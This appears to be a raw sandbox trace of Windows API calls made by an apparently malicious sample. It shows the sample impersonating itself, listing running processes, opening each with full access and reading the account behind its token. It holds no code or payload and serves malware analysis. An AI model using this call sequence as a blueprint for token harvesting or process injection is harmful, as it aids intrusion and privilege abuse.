	[0099.684] GetVersionExW (in: lpVersionInformation=0x114680*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x114680*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0099.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf5938, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x250
	[0099.687] SetLastError (dwErrCode=0x0) 
	[0099.687] GetCurrentThread () returned 0xfffffffffffffffe
	[0099.687] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x114538 | out: TokenHandle=0x114538*=0x0) returned 0
	[0099.687] GetLastError () returned 0x3f0
	[0099.687] ImpersonateSelf (ImpersonationLevel=0x2) returned 1
	[0099.688] GetCurrentThread () returned 0xfffffffffffffffe
	[0099.688] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=0, TokenHandle=0x114538 | out: TokenHandle=0x114538*=0x18c) returned 1
	[0099.688] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="敓敄畢偧楲楶敬敧", lpLuid=0x114518 | out: lpLuid=0x114518*(LowPart=0x0, HighPart=0)) returned 0
	[0099.696] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c
	[0099.711] Process32FirstW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0099.712] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0099.714] SetLastError (dwErrCode=0x0) 
	[0099.714] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4) returned 0x0
	[0099.714] CloseHandle (hObject=0x0) returned 0
	[0099.715] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0099.716] SetLastError (dwErrCode=0x0) 
	[0099.716] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x104) returned 0x0
	[0099.716] CloseHandle (hObject=0x0) returned 0
	[0099.716] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0099.718] SetLastError (dwErrCode=0x0) 
	[0099.718] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x148) returned 0x0
	[0099.718] CloseHandle (hObject=0x0) returned 0
	[0099.718] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0099.720] SetLastError (dwErrCode=0x0) 
	[0099.720] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x178) returned 0x0
	[0099.720] CloseHandle (hObject=0x0) returned 0
	[0099.720] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0099.722] SetLastError (dwErrCode=0x0) 
	[0099.722] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x184) returned 0x0
	[0099.722] CloseHandle (hObject=0x0) returned 0
	[0099.722] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0099.724] SetLastError (dwErrCode=0x0) 
	[0099.724] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1ac) returned 0x0
	[0099.724] CloseHandle (hObject=0x0) returned 0
	[0099.724] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0099.727] SetLastError (dwErrCode=0x0) 
	[0099.727] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1d8) returned 0x0
	[0099.727] CloseHandle (hObject=0x0) returned 0
	[0099.727] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0099.728] SetLastError (dwErrCode=0x0) 
	[0099.729] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1e0) returned 0x0
	[0099.729] CloseHandle (hObject=0x0) returned 0
	[0099.729] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0099.731] SetLastError (dwErrCode=0x0) 
	[0099.731] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x1e8) returned 0x0
	[0099.731] CloseHandle (hObject=0x0) returned 0
	[0099.731] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.733] SetLastError (dwErrCode=0x0) 
	[0099.733] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x250) returned 0x0
	[0099.733] CloseHandle (hObject=0x0) returned 0
	[0099.733] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.735] SetLastError (dwErrCode=0x0) 
	[0099.735] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x294) returned 0x0
	[0099.735] CloseHandle (hObject=0x0) returned 0
	[0099.735] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.737] SetLastError (dwErrCode=0x0) 
	[0099.737] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x2c8) returned 0x0
	[0099.737] CloseHandle (hObject=0x0) returned 0
	[0099.737] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.739] SetLastError (dwErrCode=0x0) 
	[0099.739] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x338) returned 0x0
	[0099.739] CloseHandle (hObject=0x0) returned 0
	[0099.739] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.741] SetLastError (dwErrCode=0x0) 
	[0099.741] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x370) returned 0x0
	[0099.741] CloseHandle (hObject=0x0) returned 0
	[0099.741] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0099.743] SetLastError (dwErrCode=0x0) 
	[0099.743] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0
	[0099.743] CloseHandle (hObject=0x0) returned 0
	[0099.743] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.745] SetLastError (dwErrCode=0x0) 
	[0099.745] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0
	[0099.745] CloseHandle (hObject=0x0) returned 0
	[0099.745] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0099.747] SetLastError (dwErrCode=0x0) 
	[0099.747] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x218) returned 0x0
	[0099.748] CloseHandle (hObject=0x0) returned 0
	[0099.748] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0099.749] SetLastError (dwErrCode=0x0) 
	[0099.749] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x434) returned 0x160
	[0099.750] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x15c) returned 1
	[0099.750] GetTokenInformation (in: TokenHandle=0x15c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x0, ReturnLength=0x114508) returned 0
	[0099.750] GetProcessHeap () returned 0x240000
	[0099.750] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0099.750] GetTokenInformation (in: TokenHandle=0x15c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0099.750] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0099.755] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0099.756] GetProcessHeap () returned 0x240000
	[0099.756] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0099.756] CloseHandle (hObject=0x160) returned 1
	[0099.756] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0099.758] SetLastError (dwErrCode=0x0) 
	[0099.758] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x444) returned 0x160
	[0099.758] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x168) returned 1
	[0099.758] GetTokenInformation (in: TokenHandle=0x168, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0099.758] GetProcessHeap () returned 0x240000
	[0099.758] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0099.758] GetTokenInformation (in: TokenHandle=0x168, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0099.759] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0099.760] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0099.926] GetProcessHeap () returned 0x240000
	[0099.926] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0099.926] CloseHandle (hObject=0x160) returned 1
	[0099.926] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0100.044] SetLastError (dwErrCode=0x0) 
	[0100.044] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x46c) returned 0x0
	[0100.045] CloseHandle (hObject=0x0) returned 0
	[0100.045] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0100.046] SetLastError (dwErrCode=0x0) 
	[0100.047] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4a8) returned 0x160
	[0100.047] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x110) returned 1
	[0100.047] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.047] GetProcessHeap () returned 0x240000
	[0100.047] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.047] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.047] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.049] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c9410, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.051] GetProcessHeap () returned 0x240000
	[0100.051] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.051] CloseHandle (hObject=0x160) returned 1
	[0100.051] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.053] SetLastError (dwErrCode=0x0) 
	[0100.053] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x4c4) returned 0x0
	[0100.053] CloseHandle (hObject=0x0) returned 0
	[0100.053] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0100.055] SetLastError (dwErrCode=0x0) 
	[0100.055] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x530) returned 0x160
	[0100.055] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x16c) returned 1
	[0100.055] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.055] GetProcessHeap () returned 0x240000
	[0100.055] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.055] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.056] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.057] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29cf50, cchName=0x114518, ReferencedDomainName=0x2c9ad0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.059] GetProcessHeap () returned 0x240000
	[0100.060] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.060] CloseHandle (hObject=0x160) returned 1
	[0100.060] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0100.062] SetLastError (dwErrCode=0x0) 
	[0100.062] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x720) returned 0x0
	[0100.062] CloseHandle (hObject=0x0) returned 0
	[0100.062] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.064] SetLastError (dwErrCode=0x0) 
	[0100.064] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x5cc) returned 0x0
	[0100.064] CloseHandle (hObject=0x0) returned 0
	[0100.064] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0100.066] SetLastError (dwErrCode=0x0) 
	[0100.066] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x674) returned 0x0
	[0100.066] CloseHandle (hObject=0x0) returned 0
	[0100.066] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.068] SetLastError (dwErrCode=0x0) 
	[0100.068] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x738) returned 0x0
	[0100.068] CloseHandle (hObject=0x0) returned 0
	[0100.068] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0100.070] SetLastError (dwErrCode=0x0) 
	[0100.071] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x408) returned 0x160
	[0100.071] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x174) returned 1
	[0100.071] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.071] GetProcessHeap () returned 0x240000
	[0100.071] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x29cf90
	[0100.071] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x2c, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 1
	[0100.071] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name=0x0, cchName=0x114518, ReferencedDomainName=0x0, cchReferencedDomainName=0x114510, peUse=0x114260) returned 0
	[0100.073] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x29cfa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x29d010, cchName=0x114518, ReferencedDomainName=0x2c93f0, cchReferencedDomainName=0x114510, peUse=0x114260 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x114518, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x114510, peUse=0x114260) returned 1
	[0100.074] GetProcessHeap () returned 0x240000
	[0100.074] HeapFree (in: hHeap=0x240000, dwFlags=0x1, lpMem=0x29cf90 | out: hHeap=0x240000) returned 1
	[0100.074] CloseHandle (hObject=0x160) returned 1
	[0100.075] Process32NextW (in: hSnapshot=0x17c, lppe=0x114280 | out: lppe=0x114280*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="wordpress.exe")) returned 1
	[0100.076] SetLastError (dwErrCode=0x0) 
	[0100.076] OpenProcess (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwProcessId=0x180) returned 0x160
	[0100.076] OpenProcessToken (in: ProcessHandle=0x160, DesiredAccess=0x20008, TokenHandle=0x114268 | out: TokenHandle=0x114268*=0x128) returned 1
	[0100.077] GetTokenInformation (in: TokenHandle=0x128, TokenInformationClass=0x1, TokenInformation=0x29cf90, TokenInformationLength=0x0, ReturnLength=0x114508 | out: TokenInformation=0x29cf90, ReturnLength=0x114508) returned 0
	[0100.077] GetProcessHeap () returned 0x240000
